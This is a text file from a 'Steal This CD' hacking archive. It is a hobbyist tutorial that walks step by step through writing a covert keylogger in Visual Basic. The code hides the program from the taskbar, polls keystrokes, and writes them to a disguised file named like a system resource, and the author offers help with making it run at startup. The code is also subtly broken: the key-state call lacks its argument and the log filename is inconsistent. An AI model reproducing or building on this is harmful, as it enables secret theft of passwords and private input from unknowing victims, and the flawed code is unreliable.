home *** CD-ROM | disk | FTP | other *** search
/ Steal This CD / steal_this_cd.iso / Chapter 09 - Cracking Passwords / Creating a VB Keylogger.txt < prev    next >
Text File  |  2006-01-15  |  4KB  |  180 lines

  1. Creating a KeyLogger in VB    
  2. by Silent Shadow    
  3. Ok...I am assuming that you have a basic understanding as to how visual basic works and how to make programs, debug, and compile. If not, email me and I might be able to help.
  4.  
  5. First, if you don't have it, get it. ApiGuide. Download it at http://www.mentalis.org/agnet/apiguide.shtml
  6.  
  7. Ok. Open VB and start a new application. Add to the form a button, a timer, and a module(I know the module isn't actually part of the form). Thats all. Change there caption of the button to Start Logging
  8. (if you want to make it start on startup...pm me or email me)
  9. Now using api guide or just copying from here, declare a new function. the GetASyncKeyState function
  10.  
  11.  
  12.  
  13. Declare Function GetAsyncKeyState Lib "user32" Alias "GetAsyncKeyState"
  14.  
  15. (ByVal vKey As Long) As Integer
  16.  
  17.  
  18. ^---put this in the declarations section of the module.
  19.  
  20. That is all one line of code. Make sure its like that. and not split in 2.
  21.  
  22. Now you have a new function to use through your program.
  23. ok... 
  24. now we must make it be "invisible". Now im sorry but in Windows XP, i do not know how to remove it from the "processes" section of the Task Manager. But Other than that...its invisible. 
  25.  
  26. OK. In the button code..., in the click event of course...
  27. type the following
  28.  
  29.  
  30.  
  31. app.taskvisible = false
  32.  
  33. form1.visible = false
  34.  
  35. form1.hide
  36.  
  37. timer1.enabled = true
  38.  
  39.  
  40.  
  41. 'and also in the properties section of the form...change the shownintaskbar to false
  42.  
  43.  
  44. Now when we click the button...it goes invisible.
  45.  
  46. Now we are going to need some variables....
  47. Back in the declarations section declare the following...
  48.  
  49.  
  50.  
  51. Dim strLetter as String, strTotal as String
  52.  
  53.  
  54. Now in the timer code put this. Ill explain afterward.
  55. also set the interval to 1 and enabled to false
  56.  
  57.  
  58.  
  59. Private Sub Timer1_Timer()
  60.  
  61.  
  62. For I = 28 To 128
  63.  
  64.  
  65. If GetAsyncKeyState <> 0 Then
  66.  
  67.  
  68. strLetter = Chr(I)
  69.  
  70.  
  71.  
  72. 'Now here you can add certain things
  73.  
  74. 'so that instead of displaying
  75.  
  76. 'retarded characters, it tells you
  77.  
  78. 'what the user pressed. What I mean
  79.  
  80. 'is if they press Enter/Return, it will
  81.  
  82. 'Show some weird box. You dont want that
  83.  
  84. 'so u make a select case about I for each
  85.  
  86. 'button u want to customize. PM me or Email
  87.  
  88. 'me for help on this part.
  89.  
  90.  
  91.  
  92. strTotal = strTotal & strLetter
  93.  
  94.  
  95.  
  96. End If
  97.  
  98.  
  99. Next I
  100.  
  101.  
  102. open "C:\Windows\SysResources.DAT" for output as #1
  103.  
  104. Print #1, strTotal
  105.  
  106. close #1
  107.  
  108.  
  109. End Sub
  110.  
  111.  
  112.  
  113. 'End Code
  114.  
  115.  
  116. Now all you have to do is when you want to check the keys pressed, open up C:\Windows\SysResource.DAT in notepad, and there it is. This program will not run on start up. If you want to know how to do that, PM me, but preferably email me. I would much rather have you add me to Msn Messenger. My email for messenger is... Black_viper_13@hotmail.com
  117. My email for emailing is..... Anarchist_ninja_thief@hotmail.com.
  118.  
  119. Hope this helps!
  120. Here is the entire coding for the lamers...
  121.  
  122.  
  123.  
  124. 'BEGINNING
  125.  
  126.  
  127. Dim strLetter As String, strTotal As String, old as string
  128.  
  129.  
  130. Private Sub Command1_Click()
  131.  
  132. Timer1.Enabled = True
  133.  
  134. End Sub
  135.  
  136.  
  137. Private Sub Form_Load()
  138.  
  139. Command1.Caption = "Start Loggin"
  140.  
  141. Timer1.Enabled = False
  142.  
  143. Timer1.Interval = 1
  144.  
  145. End Sub
  146.  
  147.  
  148. Private Sub Timer1_Timer()
  149.  
  150. For I = 28 To 128 'ASCII code
  151.  
  152. If GetAsyncKeyState <> 0 Then
  153.  
  154. strLetter = Chr(I)
  155.  
  156. End If
  157.  
  158. If strletter <> Old Then
  159.  
  160. Old = strletter
  161.  
  162. strTotal = strTotal & old
  163.  
  164. End If
  165.  
  166. Next I
  167.  
  168. Open "C:\windows\SysResources.dat" For Output As #1
  169.  
  170. Print #1, strTotal
  171.  
  172. Close #1
  173.  
  174. End Sub
  175.  
  176.  
  177. 'ENDING
  178.  
  179.  
  180. i think thats it besides the Module of course.